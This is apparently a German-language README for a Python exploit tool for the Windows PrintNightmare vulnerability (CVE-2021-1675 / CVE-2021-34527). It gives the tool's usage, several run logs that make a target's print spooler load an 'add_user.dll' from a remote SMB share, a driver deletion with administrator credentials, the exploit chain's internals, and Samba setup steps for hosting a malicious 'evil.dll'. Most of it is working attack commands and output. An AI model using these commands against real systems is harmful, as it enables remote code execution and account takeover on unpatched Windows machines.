
Python-Implementierung für PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Python-Implementierung für PrintNightmare (CVE-2021-1675 / CVE-2021-34527) mit Standard-Impacket.
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL
modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
Beachten Sie, dass das lokale DLL-Beispiel CVE-2021-34527 nicht missbraucht, um die DLL zu kopieren.
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Erfordert möglicherweise Administratorrechte.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
PrintNightmare besteht aus zwei CVEs: CVE-2021-1675 / CVE-2021-34527.
Ein nicht-administrativer Benutzer darf einen neuen Druckertreiber hinzufügen. Diese Schwachstelle wurde behoben, indem nur noch Administratoren neue Druckertreiber hinzufügen dürfen. Eine gepatchte Version des Druckspoolers gibt RPC_E_ACCESS_DENIED (Code: 0x8001011b) zurück, wenn ein Nicht-Administrator versucht, einen neuen Druckertreiber hinzuzufügen.
Beim Hinzufügen eines neuen Druckertreibers erlaubt der Parameter pDataFile im DRIVER_CONTAINER UNC-Pfade. Die in pDataFile angegebene DLL wird jedoch nicht geladen, aber sie wird in einen lokalen Pfad kopiert, sodass wir einen neuen Druckertreiber erstellen können, dessen Parameter pConfigFile auf den lokalen Pfad zeigt und die DLL lädt. Eine gepatchte Version des Druckspoolers gibt ERROR_INVALID_PARAMETER (Code: 0x57) zurück.
Nur CVE-2021-1675 ist erforderlich, wenn sich die schädliche DLL bereits auf dem Ziel befindet.
Für PrintNightmare kann CVE-2021-34527 verwendet werden, um die DLL über UNC-Pfade zu holen, wenn die DLL kein lokaler Pfad ist. Aus diesem Grund ist es notwendig, die DLL über SMB bereitzustellen. Wenn Sie mit SMB und UNC nicht vertraut sind, lesen Sie den folgenden Unterabschnitt.
Beim Erstellen eines neuen Druckertreibers wird die DLL im Parameter pDataFile aus Sicherheitsgründen nicht geladen. Sie wird jedoch in C:\Windows\system32\spool\drivers\x64\3\ kopiert. Danach könnten wir einen neuen Druckertreiber erstellen, der pConfigFile (das die DLL lädt) mit dem lokalen Pfad verwendet. Allerdings ist die DLL beim Erstellen des zweiten Druckertreibers noch durch den ersten Druckertreiber in Benutzung. Stattdessen könnten wir den ersten Druckertreiber überschreiben, wodurch die DLLs des Druckertreibers nach C:\Windows\system32\spool\drivers\x64\3\old\<I>\ kopiert werden, wobei <I> für jede DLL hochgezählt wird. Nun können wir einen dritten Druckertreiber erstellen, der den lokalen Pfad C:\Windows\system32\spool\drivers\x64\3\old\<I>\ verwendet, da die DLL nicht mehr in Benutzung ist. Jetzt muss nur noch <I> erraten werden, das ab 1 hochzählt.
Beachten Sie, dass die DLL ihren Dateinamen lokal behält. Wenn Sie den Exploit also zunächst mit foo.dll ausführen und diese unter C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll gespeichert wird, dann den Inhalt von foo.dll lokal ändern und den Exploit erneut ausführen, sodass sie nun unter C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll gespeichert wird, wird die ursprüngliche foo.dll verwendet, da sie sich unter C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll befindet. Ändern Sie in diesem Fall einfach den Dateinamen, wenn Sie den Inhalt der DLL ändern.
Kurz gesagt, ein UNC-Pfad ist ein Pfad zu einer Datei oder einem Ordner im Netzwerk und nicht zu einer lokalen Datei; er enthält den Servernamen und den Pfad. Beispielsweise ist der UNC-Pfad \\10.0.0.2\files\foo.txt eine Datei foo.txt, die über die Freigabe files des Servers 10.0.0.2 bereitgestellt wird. Normalerweise wird eine Freigabe über SMB bereitgestellt, aber WebDAV wird ebenfalls unterstützt. Um eine SMB-Freigabe unter Linux zu erstellen, ist die einfachste und zuverlässigste Methode die Verwendung des Pakets Samba.
Um Samba mit apt zu installieren:
$ sudo apt install samba
Bearbeiten Sie die Datei /etc/samba/smb.conf und fügen Sie am Ende der Datei Folgendes hinzu:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
Dadurch wird eine neue Freigabe namens smb erstellt und die Dateien in /tmp/share werden bereitgestellt. Sie erlaubt anonymen Zugriff, und der lokale Benutzer nobody wird zum Durchsuchen der Dateien verwendet.
Starten Sie den Samba-Dienst anschließend mit:
$ sudo service smbd start
Angenommen, Ihre Linux-Maschine hat die IP 192.168.1.100 und Sie möchten die evil.dll bereitstellen, dann lautet der UNC-Pfad in diesem Szenario \\192.168.1.100\smb\evil.dll.